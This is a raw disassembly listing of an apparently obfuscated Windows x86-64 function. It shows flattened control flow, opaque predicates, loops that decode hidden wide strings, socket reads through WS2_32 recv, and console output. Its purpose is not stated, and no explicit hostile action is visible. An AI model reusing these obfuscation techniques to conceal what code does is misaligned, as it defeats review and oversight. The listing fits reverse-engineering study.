cmp eax, 0x8ffc7ad3
je 0x1402c476d
cmp eax, 0xa6163bac
jne 0x1402c45c6
mov qword [rbp + 0x90], r9
mov eax, dword [0x140ae13e0]
mov ecx, dword [0x140ae13e4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xae4b15dd
mov eax, 0xae4b15dd
test bl, 1
je 0x1402c45c0
jmp 0x1402c45b4
cmp eax, 0x1bc75749
jle 0x1402c46cd
cmp eax, 0x1bc7574a
je 0x1402c473c
cmp eax, 0x7895ace5
je 0x1402c4777
cmp eax, 0x580371e7
jne 0x1402c45c6
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x70], 0
mov edx, 0xff116b5a
mov eax, 0xff116b5a
jne 0x1402c4665
mov eax, 0x8ffc7ad3
test cl, cl
cmovne eax, edx
jmp 0x1402c45c6
cmp eax, 0xae4b15dd
je 0x1402c4763
cmp eax, 0xeedaea8a
je 0x1402c47d8
cmp eax, 0xf73b4376
jne 0x1402c45c6
mov rax, qword [rbp + 0x90]
movups xmm0, xmmword [0x1406801f6]
movups xmmword [rax + 0x2e], xmm0
movups xmm0, xmmword [0x1406801e8]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1406801d8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1406801c8]
movups xmmword [rax], xmm0
mov eax, 0x7895ace5
jmp 0x1402c45c6
cmp eax, 0xfee3f578
je 0x1402c47e2
cmp eax, 0xff116b5a
jne 0x1402c47ec
mov eax, dword [0x140ae13e0]
mov ecx, dword [0x140ae13e4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xeedaea8a
mov eax, 0xeedaea8a
test bl, 1
je 0x1402c45c0
mov eax, 0x8ffc7ad3
jmp 0x1402c45c0
mov eax, dword [0x140ae13e0]
mov ecx, dword [0x140ae13e4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xa6163bac
mov eax, 0xa6163bac
test bl, 1
je 0x1402c45c0
jmp 0x1402c45b4
mov eax, dword [0x140ae13e0]
mov ecx, dword [0x140ae13e4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0x7895ace5
mov eax, 0x7895ace5
test bl, 1
je 0x1402c45c0
jmp 0x1402c47ce
mov eax, 0x1bc7574a
jmp 0x1402c45c6
mov eax, 0xff116b5a
jmp 0x1402c45c6
mov rax, qword [rbp + 0x90]
movups xmm0, xmmword [0x1406801f6]
movups xmmword [rax + 0x2e], xmm0
movups xmm0, xmmword [0x1406801e8]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1406801d8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1406801c8]
movups xmmword [rax], xmm0
mov eax, dword [0x140ae13e0]
mov ecx, dword [0x140ae13e4]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xe279fb7
mov eax, 0xe279fb7
test bl, 1
je 0x1402c45c0
mov eax, 0xf73b4376
jmp 0x1402c45c0
mov eax, 0x8035efba
jmp 0x1402c45c6
mov eax, 0xa6163bac
jmp 0x1402c45c6
cmp eax, 0xe279fb7
jne 0x1402c45c6
mov eax, dword [0x140ae2f70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae2f74], 0xa
setl cl
or cl, al
mov r11d, 0xe995c730
mov eax, 0xac1081a3
cmove r11d, eax
mov r14d, 0x224a082c
cmove r14d, eax
mov edx, 0xfe2baab2
mov eax, 0x6a55688e
cmove edx, eax
mov edi, 0x7238c9a6
cmove edi, eax
mov eax, 0x1d02ca82
mov r8d, 0x819c6eb
mov r10d, 0xb865ea1e
jmp 0x1402c4860
mov qword [rbp + 0x78], r9
mov eax, 0xb0363697
nop
cmp eax, 0xfcf4225c
jle 0x1402c4a50
cmp eax, 0x819c6ea
jg 0x1402c4a80
cmp eax, 0xfcf4225d
je 0x1402c4ad5
cmp eax, 0x71ddaf5
jne 0x1402c4860
mov r15, qword [rbp + 0x58]
mov ebx, 0x5cf94b12
jmp 0x1402c48a0
mov ebx, 0x224a082c
nop dword [rax + rax]
mov ecx, ebx
cmp ebx, 0x596c49a5
jg 0x1402c48e0
cmp ecx, 0xe995c72f
jle 0x1402c4920
cmp ecx, 0xfe2baab1
jle 0x1402c49da
cmp ecx, 0xfe2baab2
je 0x1402c4a3a
mov ebx, ecx
cmp ecx, 0x224a082c
jne 0x1402c48a0
mov ebx, r11d
jmp 0x1402c48a0
cmp ecx, 0x6a55688d
jg 0x1402c4960
cmp ecx, 0x596c49a6
je 0x1402c49fc
mov ebx, edi
cmp ecx, 0x5cf94b12
je 0x1402c48a0
mov ebx, ecx
cmp ecx, 0x60701d17
jne 0x1402c48a0
mov ebx, 0xb428b77c
xor esi, esi
jmp 0x1402c48a0
cmp ecx, 0xac1081a3
je 0x1402c4893
cmp ecx, 0xb428b77c
je 0x1402c4a23
mov ebx, ecx
cmp ecx, 0xb865ea1e
jne 0x1402c48a0
movsxd rcx, dword [rbp + 0x60]
mov qword [rbp + 0x90], rcx
mov ebx, 0x596c49a6
jmp 0x1402c48a0
cmp ecx, 0x6a55688e
je 0x1402c4a19
mov ebx, edx
cmp ecx, 0x7238c9a6
je 0x1402c48a0
mov ebx, ecx
cmp ecx, 0x7c58d90a
jne 0x1402c48a0
movzx ecx, word [rbp + 0x88]
movsxd rsi, dword [rbp + 0x60]
imul rbx, rsi, 0x51eb851f
mov rax, rbx
shr rax, 0x3f
sar rbx, 0x24
add ebx, eax
imul eax, ebx, 0x32
sub esi, eax
lea eax, [rsi + 0x34]
mov ebx, 0xffcb
sub ebx, esi
and ebx, ecx
not ecx
and ecx, eax
or ebx, ecx
mov rax, qword [rbp + 0x90]
mov word [rbp + rax*2 - 0x30], bx
mov esi, dword [rbp + 0x60]
add esi, 1
mov ebx, 0xb428b77c
jmp 0x1402c48a0
mov ebx, r14d
cmp ecx, 0xfb29ed4a
je 0x1402c48a0
mov ebx, ecx
cmp ecx, 0xe995c730
jne 0x1402c48a0
jmp 0x1402c4aea
mov rcx, qword [rbp + 0x90]
movzx ecx, word [r15 + rcx*2]
mov word [rbp + 0x88], cx
mov ebx, 0x7c58d90a
jmp 0x1402c48a0
mov ebx, 0x7238c9a6
jmp 0x1402c48a0
mov dword [rbp + 0x60], esi
mov ecx, dword [rbp + 0x60]
cmp ecx, 0x1f
mov ebx, 0xfb29ed4a
cmovl ebx, r10d
jmp 0x1402c48a0
mov ebx, 0x60701d17
jmp 0x1402c48a0
cmp eax, 0xecb0008f
jg 0x1402c4ab9
cmp eax, 0xa7b46502
je 0x1402c4856
cmp eax, 0xb0363697
jne 0x1402c4860
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov eax, 0xecb00090
jmp 0x1402c4860
cmp eax, 0x819c6eb
je 0x1402c4af4
cmp eax, 0x1d02ca82
jne 0x1402c4860
mov ecx, 0x549c7bc1
movzx eax, word [rbp + 0xc]
nop dword [rax + rax]
cmp ecx, 0x549c7bc1
je 0x1402c4ab2
cmp ecx, 0x1452a56c
jne 0x1402c4aa0
jmp 0x1402c4b05
mov ecx, 0x1452a56c
jmp 0x1402c4aa0
cmp eax, 0xeee975fe
jne 0x1402c4b25
cmp byte [rbp + 0x86], 0
mov eax, 0xa7b46502
cmovne eax, r8d
jmp 0x1402c4860
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x58], rax
mov eax, 0x71ddaf5
jmp 0x1402c4860
mov eax, 0xa7b46502
jmp 0x1402c4860
mov qword [rbp + 0x98], r9
mov eax, 0xfcf4225d
jmp 0x1402c4860
mov word [rbp + 0x90], ax
cmp word [rbp + 0x90], 0
setne byte [rbp + 0x86]
mov eax, 0xeee975fe
jmp 0x1402c4860
cmp eax, 0xecb00090
jne 0x1402c4860
mov rdx, qword [rbp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402b3a10
mov rcx, rax
call fcn.1402b3ed0
xor ebx, ebx
mov eax, ebx
add rsp, 0x128
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, ebx
cmp eax, 0xf136a3b0
jle 0x1402c4b80
cmp eax, 0xf136a3b1
je 0x1402c4b60
cmp eax, 0x5a240900
je 0x1402c4b92
cmp eax, 0x64555c18
jne 0x1402c4b62
jmp 0x1402c4ba0
cmp eax, 0xc8536537
je 0x1402c4b99
cmp eax, 0xec09643a
jne 0x1402c4b62
mov eax, ecx
jmp 0x1402c4b62
mov eax, 0xf136a3b1
jmp 0x1402c4b62
mov eax, 0xec09643a
jmp 0x1402c4b62
mov qword [rbp - 0x30], rdx
mov rdi, qword [rbp - 0x30]
mov rbx, qword [rbp + 0x48]
mov ecx, 0x9d83bdcc
cmp ecx, 0x211f0966
je 0x1402c4bda
cmp ecx, 0x9d83bdcc
jne 0x1402c4bb1
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, rbx
mov r9, rsi
call fcn.1402ce4c0
mov ecx, 0x211f0966
jmp 0x1402c4bb1
and al, 1
mov byte [rbp - 0x30], al
cmp byte [rbp - 0x30], 0
je 0x1402c4cbc
mov word [rbp + 0x40], 0
mov rdi, qword [rbp + 0x28]
add rdi, 0x58
mov eax, 0x5475d14f
lea r15, [rbp + 0x40]
mov r12d, 0x1dc4cd
mov esi, 0xd4be93e6
jmp 0x1402c4c27
mov r9d, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, r15
call fcn.1402ce4c0
mov eax, 0xd4be93e6
cmp eax, 0x25d27611
jle 0x1402c4c66
cmp eax, 0x25d27612
je 0x1402c4c0d
cmp eax, 0x5475d14f
je 0x1402c4c76
cmp eax, 0x7edd84db
jne 0x1402c4c27
mov eax, dword [0x140ae0b18]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x25d27612
cmove eax, esi
cmp dword [0x140ae0b1c], 0xa
cmovl eax, esi
jmp 0x1402c4c27
cmp eax, 0xd4be93e6
je 0x1402c4c7d
cmp eax, 0x1dc4cd
jne 0x1402c4c27
jmp 0x1402c4cdb
mov eax, 0x7edd84db
jmp 0x1402c4c27
mov r9d, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, r15
call fcn.1402ce4c0
mov ebx, eax
mov eax, dword [0x140ae0b18]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x25d27612
cmove eax, r12d
cmp dword [0x140ae0b1c], 0xa
cmovl eax, r12d
jmp 0x1402c4c27
mov eax, 0x6a5dbae0
cmp eax, 0x6a5dbae0
je 0x1402c4cd4
cmp eax, 0x36da4011
jne 0x1402c4cc1
jmp 0x1402c55f8
mov eax, 0x36da4011
jmp 0x1402c4cc1
and bl, 1
mov byte [rbp - 0x30], bl
cmp byte [rbp - 0x30], 0
mov bl, 1
jne 0x1402c598a
mov eax, dword [0x140ae0c40]
mov ecx, dword [0x140ae0c44]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl byte [rbp + 0x70]
mov eax, 0x6f9b11ce
lea r9, [rbp - 0x30]
jmp 0x1402c4d23
mov eax, 0x36332a16
cmp ecx, 0xa
cmovl eax, edx
cmp eax, 0x36332a15
jg 0x1402c4d6e
cmp eax, 0x18d92a79
jg 0x1402c4df2
cmp eax, 0xe8251f20
je 0x1402c4e4b
cmp eax, 0x11701b50
jne 0x1402c4edc
mov eax, dword [0x140ae0c40]
mov ecx, dword [0x140ae0c44]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0x5ebd7a1a
mov eax, 0x5ebd7a1a
test bl, 1
je 0x1402c4d1d
jmp 0x1402c4d18
cmp eax, 0x66d38936
jg 0x1402c4e12
cmp eax, 0x36332a16
je 0x1402c4e55
cmp eax, 0x5ebd7a1a
jne 0x1402c4d23
mov rax, qword [rbp + 0x90]
movups xmm0, xmmword [0x140680282]
movups xmmword [rax + 0x3e], xmm0
movups xmm0, xmmword [0x140680274]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x140680264]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140680254]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140680244]
movups xmmword [rax], xmm0
mov eax, dword [0x140ae0c40]
mov ecx, dword [0x140ae0c44]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0x3dbe7b2
mov eax, 0x3dbe7b2
test bl, 1
je 0x1402c4d1d
jmp 0x1402c4d18
cmp eax, 0x18d92a7a
je 0x1402c4e9c
cmp eax, 0x1e9760a4
jne 0x1402c4d23
mov eax, 0x66d38937
jmp 0x1402c4d23
cmp eax, 0x66d38937
je 0x1402c4ead
cmp eax, 0x6f9b11ce
jne 0x1402c4d23
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x70], 0
mov edx, 0x66d38937
mov eax, 0x66d38937
jne 0x1402c4e41
mov eax, 0x1e9760a4
test cl, cl
cmovne eax, edx
jmp 0x1402c4d23
mov eax, 0x18d92a7a
jmp 0x1402c4d23
mov rax, qword [rbp + 0x90]
movups xmm0, xmmword [0x140680282]
movups xmmword [rax + 0x3e], xmm0
movups xmm0, xmmword [0x140680274]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x140680264]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140680254]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140680244]
movups xmmword [rax], xmm0
mov eax, 0x5ebd7a1a
jmp 0x1402c4d23
mov qword [rbp + 0x90], r9
mov eax, 0x11701b50
jmp 0x1402c4d23
mov eax, dword [0x140ae0c40]
mov ecx, dword [0x140ae0c44]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xe8251f20
mov eax, 0xe8251f20
test bl, 1
je 0x1402c4d1d
mov eax, 0x1e9760a4
jmp 0x1402c4d1d
cmp eax, 0x3dbe7b2
jne 0x1402c4d23
mov eax, dword [0x140ae1380]
mov ecx, dword [0x140ae1384]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete dl
sete byte [rbp + 0x6f]
cmp ecx, 0xa
setl byte [rbp + 0x6e]
setl al
or al, dl
mov ecx, dword [0x140ae2ce0]
mov edx, dword [0x140ae2ce4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov dword [rbp - 0x48], ebx
test bl, 1
sete cl
mov dword [rbp - 0x4c], edx
cmp edx, 0xa
setl dl
or dl, cl
mov edx, 0x4f76e63
mov ecx, 0x62b0429
cmove edx, ecx
mov dword [rbp + 0x38], edx
mov r14d, 0x765316de
cmove r14d, ecx
mov r10d, 0x67a5208
mov edx, 0xeca35405
cmove r10d, edx
mov r11d, 0x36e02957
cmove r11d, edx
mov edx, 0xc5e9721d
mov ebx, 0x6ab6b96e
cmove edx, ebx
mov r13d, 0xe1952b3d
cmove r13d, ebx
mov ebx, 0x4dcfe9bf
mov esi, 0x2651a9c0
cmove ebx, esi
test al, al
mov ecx, 0xfb4c8da8
mov eax, 0xc7a0766c
cmove ecx, eax
mov dword [rbp - 0x44], ecx
mov r15d, 0x9e7e35b6
cmove r15d, eax
mov esi, 0x301e2eb
mov eax, 0x40058728
cmove esi, eax
mov dword [rbp - 0x3c], esi
mov edi, 0x382d806a
cmove edi, eax
mov ecx, 0xd0539489
mov eax, 0x49c217ec
cmove ecx, eax
mov esi, 0x8227d3d4
cmove esi, eax
mov dword [rbp - 0x54], esi
mov esi, 0xb3e36fe0
mov eax, 0x9be83b67
cmove esi, eax
mov dword [rbp - 0x50], esi
mov eax, 0x46375211
mov r12d, 0xaaa57eef
mov dword [rbp - 0x40], r15d
mov dword [rbp - 0x38], edi
mov dword [rbp - 0x34], ecx
jmp 0x1402c5010
mov rax, qword [rbp + 0x78]
mov eax, 0x9e7e35b6
nop dword [rax + rax]
mov esi, eax
cmp eax, 0x2ac8e21d
jg 0x1402c5070
cmp esi, 0xc7a0766b
jle 0x1402c50b2
cmp esi, 0xe4a4c211
jg 0x1402c516a
cmp esi, 0xc7a0766c
je 0x1402c4fff
cmp esi, 0xd0539489
je 0x1402c5541
mov eax, esi
cmp esi, 0xd7bb6ca1
jne 0x1402c5010
cmp byte [rbp + 0x6d], 0
mov eax, 0x371ff660
mov esi, 0x4d363302
cmovne eax, esi
jmp 0x1402c5010
cmp esi, 0x46375210
jg 0x1402c50f1
cmp esi, 0x371ff65f
jle 0x1402c518c
mov eax, edi
cmp esi, 0x371ff660
je 0x1402c5010
cmp esi, 0x382d806a
je 0x1402c554b
mov eax, esi
cmp esi, 0x40058728
jne 0x1402c5010
mov eax, 0x382d806a
jmp 0x1402c5010
cmp esi, 0x9e7e35b5
jle 0x1402c54f7
cmp esi, 0x9e7e35b6
je 0x1402c5557
mov eax, dword [rbp - 0x50]
cmp esi, 0xa18379f1
je 0x1402c5010
mov eax, esi
cmp esi, 0xb3e36fe0
jne 0x1402c5010
mov eax, 0x6e928e34
jmp 0x1402c5010
cmp esi, 0x4d363301
jle 0x1402c551d
cmp esi, 0x4d363302
je 0x1402c5567
mov eax, dword [rbp - 0x54]
cmp esi, 0x5b8f80db
je 0x1402c5010
mov eax, esi
cmp esi, 0x6e928e34
jne 0x1402c5010
lea rax, [rbp + 0x1c]
mov qword [rbp + 0x90], rax
mov eax, 0x6022590
nop word cs:[rax + rax]
cmp eax, 0x318e8372
je 0x1402c5575
cmp eax, 0x6022590
jne 0x1402c5140
mov rax, qword [rbp + 0x90]
movzx eax, word [rax]
mov word [rbp + 0x98], ax
mov eax, 0x318e8372
jmp 0x1402c5140
cmp esi, 0xfb4c8da8
je 0x1402c558b
cmp esi, 0x301e2eb
jne 0x1402c55cd
mov eax, 0x2ac8e21e
jmp 0x1402c5010
mov eax, r15d
cmp esi, 0x2ac8e21e
je 0x1402c5010
mov eax, esi
cmp esi, 0x33b0ba5e
jne 0x1402c5010
test byte [rbp - 0x48], 1
mov r15, qword [rbp + 0x58]
sete byte [rbp + 0x6c]
cmp dword [rbp - 0x4c], 0xa
setl byte [rbp + 0x8f]
mov esi, 0xdf191cf5
jmp 0x1402c51d0
mov esi, 0xe1952b3d
nop dword [rax]
mov r9d, esi
cmp esi, 0x4f76e62
jle 0x1402c5230
cmp r9d, 0x36e02956
jg 0x1402c52c0
cmp r9d, 0x67a5207
jle 0x1402c5351
cmp r9d, 0x67a5208
je 0x1402c542c
cmp r9d, 0x2651a9c0
je 0x1402c5436
mov esi, r9d
cmp r9d, 0x3573a83f
jne 0x1402c51d0
mov esi, 0x997a7d4a
jmp 0x1402c51d0
cmp r9d, 0xce814c2a
jle 0x1402c5310
cmp r9d, 0xe1952b3c
jle 0x1402c53ed
mov esi, edx
cmp r9d, 0xe1952b3d
je 0x1402c51d0
mov esi, r11d
cmp r9d, 0xe9c9ddfe
je 0x1402c51d0
mov esi, r9d
cmp r9d, 0xeca35405
jne 0x1402c51d0
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov esi, 0x36e02957
jmp 0x1402c51d0
cmp r9d, 0x6ab6b96d
jle 0x1402c539c
cmp r9d, 0x6ab6b96e
je 0x1402c51c7
cmp r9d, 0x73124d69
je 0x1402c5440
mov esi, r9d
cmp r9d, 0x765316de
jne 0x1402c51d0
mov eax, dword [rbp + 0x98]
add eax, 1
mov dword [rbp + 0x88], eax
mov esi, dword [rbp + 0x38]
jmp 0x1402c51d0
cmp r9d, 0xaaa57eee
jle 0x1402c53c3
mov esi, ebx
cmp r9d, 0xaaa57eef
je 0x1402c51d0
mov esi, r13d
cmp r9d, 0xb1c9abc3
je 0x1402c51d0
mov esi, r9d
cmp r9d, 0xc5e9721d
jne 0x1402c51d0
jmp 0x1402c5595
cmp r9d, 0x4f76e63
je 0x1402c547f
mov esi, r9d
cmp r9d, 0x62b0429
jne 0x1402c51d0
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
mov esi, 0x765316de
jmp 0x1402c51d0
cmp r9d, 0x36e02957
je 0x1402c5490
mov esi, r9d
cmp r9d, 0x4dcfe9bf
jne 0x1402c51d0
mov esi, 0x3573a83f
jmp 0x1402c51d0
cmp r9d, 0x89decaa6
je 0x1402c545d
mov esi, r9d
cmp r9d, 0x997a7d4a
jne 0x1402c51d0
mov esi, 0x89decaa6
xor r8d, r8d
jmp 0x1402c51d0
mov esi, r14d
cmp r9d, 0xce814c2b
je 0x1402c51d0
mov esi, r9d
cmp r9d, 0xdf191cf5
jne 0x1402c51d0
movzx eax, byte [rbp + 0x6c]
cmp byte [rbp + 0x8f], 0
mov esi, 0x2651a9c0
cmovne esi, r12d
test al, al
cmovne esi, r12d
jmp 0x1402c51d0
mov esi, 0x73124d69
jmp 0x1402c51d0
mov esi, 0xaaa57eef
jmp 0x1402c51d0
mov rax, qword [rbp + 0x90]
movzx ecx, word [rbp + 0x86]
mov word [rbp + rax*2 - 0x30], cx
mov esi, 0xce814c2b
jmp 0x1402c51d0
mov dword [rbp + 0x98], r8d
mov eax, dword [rbp + 0x98]
cmp eax, 0x27
mov esi, 0xb1c9abc3
mov eax, 0xe9c9ddfe
cmovl esi, eax
jmp 0x1402c51d0
mov esi, 0x89decaa6
mov r8d, dword [rbp + 0x88]
jmp 0x1402c51d0
movsxd rax, dword [rbp + 0x98]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rsi, dword [rbp + 0x98]
imul rdi, rsi, 0x51eb851f
mov rcx, rdi
shr rcx, 0x3f
sar rdi, 0x24
add edi, ecx
imul ecx, edi, 0x32
sub esi, ecx
mov ecx, 0x1fcb
sub ecx, esi
add esi, 0x34
and ecx, 0x16eb
and esi, 0xe914
or esi, ecx
xor si, word [r15 + rax*2]
xor esi, 0x16eb
mov word [rbp + 0x86], si
mov esi, r10d
jmp 0x1402c51d0
mov eax, ecx
cmp esi, 0x8227d3d4
je 0x1402c5010
mov eax, esi
cmp esi, 0x9be83b67
jne 0x1402c5010
mov eax, 0xa18379f1
jmp 0x1402c5010
cmp esi, 0x46375211
je 0x1402c55ad
mov eax, esi
cmp esi, 0x49c217ec
jne 0x1402c5010
mov eax, 0x8227d3d4
jmp 0x1402c5010
mov eax, 0x371ff660
jmp 0x1402c5010
mov qword [rbp + 0x78], r9
mov eax, dword [rbp - 0x3c]
jmp 0x1402c5010
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov eax, dword [rbp - 0x44]
jmp 0x1402c5010
mov qword [rbp + 0x58], r9
mov eax, 0x33b0ba5e
jmp 0x1402c5010
cmp word [rbp + 0x98], 0
setne byte [rbp + 0x6d]
mov eax, 0xd7bb6ca1
jmp 0x1402c5010
mov eax, 0xe4a4c212
jmp 0x1402c5010
mov eax, 0x5b8f80db
lea r9, [rbp - 0x30]
mov r15d, dword [rbp - 0x40]
mov edi, dword [rbp - 0x38]
mov ecx, dword [rbp - 0x34]
jmp 0x1402c5010
mov r8b, byte [rbp + 0x6f]
cmp byte [rbp + 0x6e], 0
mov eax, 0x9be83b67
mov esi, 0xa18379f1
cmovne eax, esi
test r8b, r8b
cmovne eax, esi
jmp 0x1402c5010
mov eax, esi
cmp esi, 0xe4a4c212
jne 0x1402c5010
mov rdx, qword [rbp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402b3a10
mov rcx, rax
call fcn.1402b3ed0
jmp 0x1402c5988
lea r9, [rbp - 0x30]
mov qword [rbp + 0x90], r9
mov rax, qword [rbp + 0x90]
movups xmm0, xmmword [0x140680234]
movups xmmword [rax + 0x2e], xmm0
movups xmm0, xmmword [0x140680226]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140680216]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140680206]
movups xmmword [rax], xmm0
mov eax, dword [0x140ae2f70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae2f74], 0xa
setl cl
or cl, al
mov r11d, 0xe995c730
mov eax, 0xac1081a3
cmove r11d, eax
mov r14d, 0x224a082c
cmove r14d, eax
mov edx, 0xfe2baab2
mov eax, 0x6a55688e
cmove edx, eax
mov edi, 0x7238c9a6
cmove edi, eax
mov eax, 0x1d02ca82
mov r8d, 0x819c6eb
mov r10d, 0xb865ea1e
jmp 0x1402c56a0
mov qword [rbp + 0x78], r9
mov eax, 0xb0363697
nop dword [rax]
cmp eax, 0xfcf4225c
jle 0x1402c5890
cmp eax, 0x819c6ea
jg 0x1402c58bf
cmp eax, 0xfcf4225d
je 0x1402c5915
cmp eax, 0x71ddaf5
jne 0x1402c56a0
mov r15, qword [rbp + 0x58]
mov ebx, 0x5cf94b12
jmp 0x1402c56e0
mov ebx, 0x224a082c
nop dword [rax + rax]
mov ecx, ebx
cmp ebx, 0x596c49a5
jg 0x1402c5720
cmp ecx, 0xe995c72f
jle 0x1402c5760
cmp ecx, 0xfe2baab1
jle 0x1402c5820
cmp ecx, 0xfe2baab2
je 0x1402c5886
mov ebx, ecx
cmp ecx, 0x224a082c
jne 0x1402c56e0
mov ebx, r11d
jmp 0x1402c56e0
cmp ecx, 0x6a55688d
jg 0x1402c57a0
cmp ecx, 0x596c49a6
je 0x1402c5842
mov ebx, edi
cmp ecx, 0x5cf94b12
je 0x1402c56e0
mov ebx, ecx
cmp ecx, 0x60701d17
jne 0x1402c56e0
mov ebx, 0xb428b77c
xor esi, esi
jmp 0x1402c56e0
cmp ecx, 0xac1081a3
je 0x1402c56d3
cmp ecx, 0xb428b77c
je 0x1402c585f
mov ebx, ecx
cmp ecx, 0xb865ea1e
jne 0x1402c56e0
movsxd rcx, dword [rbp + 0x88]
mov qword [rbp + 0x90], rcx
mov ebx, 0x596c49a6
jmp 0x1402c56e0
cmp ecx, 0x6a55688e
je 0x1402c587c
mov ebx, edx
cmp ecx, 0x7238c9a6
je 0x1402c56e0
mov ebx, ecx
cmp ecx, 0x7c58d90a
jne 0x1402c56e0
movzx ecx, word [rbp + 0x86]
movsxd rsi, dword [rbp + 0x88]
imul rbx, rsi, 0x51eb851f
mov rax, rbx
shr rax, 0x3f
sar rbx, 0x24
add ebx, eax
imul eax, ebx, 0x32
sub esi, eax
lea eax, [rsi + 0x34]
mov ebx, 0xffcb
sub ebx, esi
and ebx, ecx
not ecx
and ecx, eax
or ebx, ecx
mov rax, qword [rbp + 0x90]
mov word [rbp + rax*2 - 0x30], bx
mov esi, dword [rbp + 0x88]
add esi, 1
mov ebx, 0xb428b77c
jmp 0x1402c56e0
mov ebx, r14d
cmp ecx, 0xfb29ed4a
je 0x1402c56e0
mov ebx, ecx
cmp ecx, 0xe995c730
jne 0x1402c56e0
jmp 0x1402c592a
mov rcx, qword [rbp + 0x90]
movzx ecx, word [r15 + rcx*2]
mov word [rbp + 0x86], cx
mov ebx, 0x7c58d90a
jmp 0x1402c56e0
mov dword [rbp + 0x88], esi
mov ecx, dword [rbp + 0x88]
cmp ecx, 0x1f
mov ebx, 0xfb29ed4a
cmovl ebx, r10d
jmp 0x1402c56e0
mov ebx, 0x7238c9a6
jmp 0x1402c56e0
mov ebx, 0x60701d17
jmp 0x1402c56e0
cmp eax, 0xecb0008f
jg 0x1402c58f9
cmp eax, 0xa7b46502
je 0x1402c5694
cmp eax, 0xb0363697
jne 0x1402c56a0
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov eax, 0xecb00090
jmp 0x1402c56a0
cmp eax, 0x819c6eb
je 0x1402c5934
cmp eax, 0x1d02ca82
jne 0x1402c56a0
mov ecx, 0x549c7bc1
movzx eax, word [rbp + 0xc]
nop word [rax + rax]
cmp ecx, 0x549c7bc1
je 0x1402c58f2
cmp ecx, 0x1452a56c
jne 0x1402c58e0
jmp 0x1402c5945
mov ecx, 0x1452a56c
jmp 0x1402c58e0
cmp eax, 0xeee975fe
jne 0x1402c5965
cmp byte [rbp + 0x8f], 0
mov eax, 0xa7b46502
cmovne eax, r8d
jmp 0x1402c56a0
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x58], rax
mov eax, 0x71ddaf5
jmp 0x1402c56a0
mov eax, 0xa7b46502
jmp 0x1402c56a0
mov qword [rbp + 0x98], r9
mov eax, 0xfcf4225d
jmp 0x1402c56a0
mov word [rbp + 0x90], ax
cmp word [rbp + 0x90], 0
setne byte [rbp + 0x8f]
mov eax, 0xeee975fe
jmp 0x1402c56a0
cmp eax, 0xecb00090
jne 0x1402c56a0
mov rdx, qword [rbp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402b3a10
mov rcx, rax
call fcn.1402b3ed0
xor ebx, ebx
lea rcx, [rbp + 0x60]
call fcn.1402cdc80
jmp 0x1402c4b4a